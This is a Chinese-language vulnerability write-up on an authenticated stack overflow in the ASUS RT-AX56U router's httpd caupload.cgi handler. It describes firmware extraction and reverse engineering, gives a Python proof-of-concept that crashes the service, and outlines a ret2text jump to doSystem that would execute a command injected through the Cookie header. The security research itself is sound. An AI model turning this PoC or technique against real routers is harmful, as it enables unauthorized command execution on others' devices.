路由器棧溢出漏洞分析
該漏洞為華碩RT-ax56u路由器httpd服務中身份驗證后的棧溢出漏洞,由于該路由器在身份驗證后可以自行開啟telnet/ssh,而通過telnet/ssh登陸獲取shell后已經是最高權限用戶,所以該漏洞幾乎沒有被惡意利用的可能

本文從挖掘漏洞的角度分析該漏洞,僅供學習用途
相關信息
ASUS 2021/10/07更新公告(https://www.asus.com.cn/Networking-IoT-Servers/WiFi-Routers/ASUS-WiFi-Routers/RT-AX56U/HelpDesk_BIOS/)

本文分析的漏洞為其中的棧溢出漏洞,另外經過華碩官方確認還有多個型號路由器存在該漏洞并均已修復
固件下載
華碩提供了非常全面的服務支持,可以在官網下載所有版本的固件
下載漏洞修復前的固件
FW_RT_AX56U_300438644266(https://dlsvr04.asus.com.cn/pub/ASUS/wireless/RT-AX56U/FW_RT_AX56U_300438644266.zip)
實驗環境
由于虛擬環境較玄學,使用某魚不到300rmb就可以買到的二手華碩RT-ax56u路由器,將下載的固件手動上傳到設備
獲取文件系統
先對文件系統進行解壓,該固件中是ubi文件系統,如果使用binwalk直接解壓只能得到一個ubi后綴的文件
可以使用ubi_reader(https://github.com/jrspruitt/ubi_reader)工具對固件進行解壓,或者安裝好ubi_reader后用binwalk就可以直接解壓了
binwalk -Me RT-AX56U_3.0.0.4_386_44266-g7f6b0df_cferom_pureubi.w
分析攻擊面
可以通過三種方式獲取該路由器端口信息,從而分析潛在的攻擊面
- nmap掃描端口
- 掃描端口可以快速了解該路由器潛在的攻擊面
sudo nmap 192.168.50.1 -p0-65535

- 通過uart串口獲取shell后查看開放端口
- 拆開路由器查看調試串口

- 用SecureCRT連接

對于該路由器有更加方便的方法,此處不對此方法進行贅述,關于uart串口連接可以參考學習拆機調試路由器(https://x1ng.top/2020/12/06/%E5%AD%A6%E4%B9%A0%E6%8B%86%E6%9C%BA%E8%B0%83%E8%AF%95%E8%B7%AF%E7%94%B1%E5%99%A8/)
netstat -aptu
- 開啟telnet/ssh獲取shell后查看開放端口

- 此處用telnet連接
netstat -aptu
可以看到開啟的tcp和udp端口以及相關的服務

在對該路由器進行測試的過程中由于對http協議最熟悉,優先對該固件中實現web功能的httpd文件進行分析,而本文分析的漏洞正是存在于httpd文件中
全局搜索httpd
find . | grep httpd
找到httpd文件

逆向分析httpd服務文件
進行例行檢查

為ARM架構小端序的程序,只開啟了NX保護,也就是說對于內存破壞漏洞而言不能通過直接寫入shellcode并跳轉的方式來進行利用
ida進行逆向分析之前查找資料可以找到梅林固件httpd服務的源代碼(https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/httpd/httpd.c),雖然細微之處有所差別,但是大致框架一致,可以根據源碼快速理解其實現邏輯
其處理http報文的主要功能在static void handle_request(void)函數中
static void
handle_request(void)
{
...
while ( fgets( cur, line + sizeof(line) - cur, conn_fp ) != (char*) 0 )
{
//獲取http報文請求頭(略)
...
}
...
for (handler = &mime_handlers[0]; handler->pattern; handler++) {
if (match(handler->pattern, url))
{
...
if (handler->auth) {
...
else{
...
handler->auth(auth_userid, auth_passwd, auth_realm);
auth_result = auth_check(auth_realm, authorization, url, file, cookies, fromapp);
if (auth_result != 0)
{
if(strcasecmp(method, "post") == 0 && handler->input) //response post request
while (cl--) (void)fgetc(conn_fp);
send_login_page(fromapp, auth_result, NULL, NULL, 0);
return;
}
}
...
}else{
...
}
if (handler->input) {
handler->input(file, conn_fp, cl, boundary);
...
}
...
if (strcasecmp(method, "head") != 0 && handler->output) {
handler->output(file, conn_fp);
}
break;
}
}
在項目的httpd.h文件中可以找到mime_handler結構體定義
struct mime_handler {
char *pattern;
char *mime_type;
char *extra_header;
void (*input)(char *path, FILE *stream, int len, char *boundary);
void (*output)(char *path, FILE *stream);
void (*auth)(char *userid, char *passwd, char *realm);
};
其大致邏輯就是獲取完報文請求頭后遍歷mime_handlers結構體數組,根據用戶訪問的url找到對應的mime_handler結構體,再判斷鑒權以及調用其中的函數指針,這些被調用的函數就是需要重點審計的地方
在固件中也可以找到mime_handlers結構體數組

經過逆向分析,最后在"caupload.cgi"字段的mime_handler結構體中找到了存在漏洞的函數

分析漏洞
根據對handler的input函數調用的語句可以知道各參數的含義

這里只有3個參數,與源碼中看到的調用語句不同,是因為ida沒有識別出將第四個參數存入寄存器的過程,直接查看匯編代碼就能看到對R3的賦值
進入"caupload.cgi"相關結構體的input函數,也能看到其實是有四個參數的

程序運行到這個函數的時候,http報文請求頭已經被讀取了,此時緩沖區中還有http報文的請求數據

該函數從緩沖區中獲取請求數據后保存在大小為0x10000的input3數組中,根據請求數據中的"name"字段進入不同的分支
而漏洞的成因是最后調用的strcat函數,程序會判斷"Content-Length"字段判斷請求數據的長度(通過第三個參數傳遞),將fgets從緩沖區獲取到的字符串拼接到保存在棧上的變量v34后面,但是由于這里Content-Length的最大限制為0xffff,而該函數的棧幀長度只有0x1440,存在棧溢出漏洞
觸發漏洞
逆向報文結構讓程序能執行到調用strcat函數的分支,只需要在Content-Disposition: form-data; name="file_ca"; filename=后填充大量字符就可以造成溢出(通過burp抓包得到登錄報文格式,在驗證漏洞之前需要先進行登錄)
poc.py:
#/usr/bin/python3
import requests
import socket
import base64
import sys
def attack(ip, username, passwd):
login_url = "http://"+ip+"/login.cgi"
hd = {"Host": "192.168.50.1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://192.168.50.1/Main_Login.asp",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "161",
"Cookie": "clickedItem_tab=0; hwaddr=A8:5E:45:DD:96:08; apps_last=; maxBandwidth=100; bw_rtab=INTERNET; asus_token=lRZ0RCBKRnYW8GBQzCI2wHPzB7F7DYU",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
auth = username+':'+passwd
auth = base64.b64encode(auth.encode('utf-8')).decode()
print('[*] login...')
da = "group_id=&action_mode=&action_script=&action_wait=5¤t_page=Main_Login.asp&next_page=index.asp&login_authorization="+auth+"&login_captcha="
r = requests.post(login_url,headers=hd,data = da, timeout=1000)
cookie = r.headers['Set-Cookie'][11:-11]
pd = 'Content-Disposition: form-data; name="file_ca"; filename=aaa\r'
pd += '\r'
pd += 'a'*0x2000
attack_url = "http://"+ip+"/caupload.cgi"
hd = {"Host": "192.168.50.1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://192.168.50.1/Advanced_VPNClient_Content.asp",
"Content-Type": "application/x-www-form-urlencoded; boundary=---------------------------90665545817618071411188093951",
"Content-Length": str(len(pd)),
"Cookie": "clickedItem_tab=0; hwaddr=A8:5E:45:DD:96:08; apps_last=; maxBandwidth=100; bw_rtab=INTERNET; asus_token="+cookie,
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
print('[*] Attacking')
r = requests.post(attack_url,headers=hd,data = pd, timeout=1000)
def usage():
print("Usage: python poc.py routerip username password")
if __name__ == "__main__":
if len(sys.argv) < 3:
usage()
else:
attack(ip=sys.argv[1],username=sys.argv[2], passwd=sys.argv[3])
發送報文后httpd服務崩潰,但是由于存在守護進程馬上就會重新啟動服務

漏洞利用
經過測試發現在該路由器上,但是由于
與CTF不同的是,對于這種網絡服務,進行溢出后進行ROP泄露地址再ret2libc的方法并不好用
- 泄露地址后往往需要返回main函數重新輸入溢出數據,但是由于配置等問題可能導致失敗
- 泄露地址不能通過
puts等標準輸出函數,而是需要向與用戶連接的socket中輸出
而其實對于該路由器而言
- 棧地址與堆地址都是隨機的(如果用qemu模擬環境可能是固定的),不能直接使用libc中的gadget
- 開啟了NX保護不能使用shellcode
- 沒有開啟pie保護,程序基址還是固定的
- 由于路由器為arm架構,程序中固定的地址最高位基本都是
\x00
無法使用shellcode,甚至因為strcat函數存在\x00截斷,構造ROP鏈都是問題,難道這里即使存在溢出漏洞也沒有辦法進行利用嗎
其實是有辦法的,ret2libc不行,倒是可以考慮ret2text
由于固定地址最高位是\x00,所以在內存中填充返回地址時的最后一個字節為\x00,也就是說有一次跳轉地址的機會
在程序中尋找可能可以利用的gedget,直接對system、popen、doSystem(system函數的wraper函數)這樣能執行命令的函數進行交叉引用搜索,可以找到一個特殊的函數調用

在ARM架構下獲取字符串地址的指令一般是形如ADD R0,PC,R0這樣的匯編指令,以PC寄存器作為基址寄存器通過偏移來獲得字符串地址,而該函數調用的特殊之處在于,在調用doSystem函數之前,獲取參數的指令是LDR R0,[SP,#0x28]
也就是說,如果在跳轉到這個gadget之前能控制[SP,#0x28]這個地址上的內容,就能控制doSystem的參數達到執行命令的目的,而這里正好是可控的
對漏洞進行gdbserver遠程調試(遠程調試的具體步驟就不介紹了,可以參考強網杯2020決賽-cisco-RV110W-漏洞復現中進行遠程調試的詳細步驟)
gdb-multiarch httpd target remote 192.168.50.1:1234 b*0x51344 c
運行POC腳本發送http請求,溢出后將返回地址修改為0x5b43c,從斷點處單步運行跳轉到0x5b43c,查看$sp+0x28的值
x/20wx $sp+0x28

發現[sp+0x28]所指向的地址保存的其實是http報文請求頭中Cookie,也就是說只要將命令注入到Cookie中,再溢出控制程序跳轉到上文提到的doSystem函數之前,即可執行任意命令
但是為了讓程序正常的讀取Cookie,Cookie字段不能只是命令,需要在命令后拼接上原本Cookie的內容,并在二者之間用";"分隔保證命令正確執行。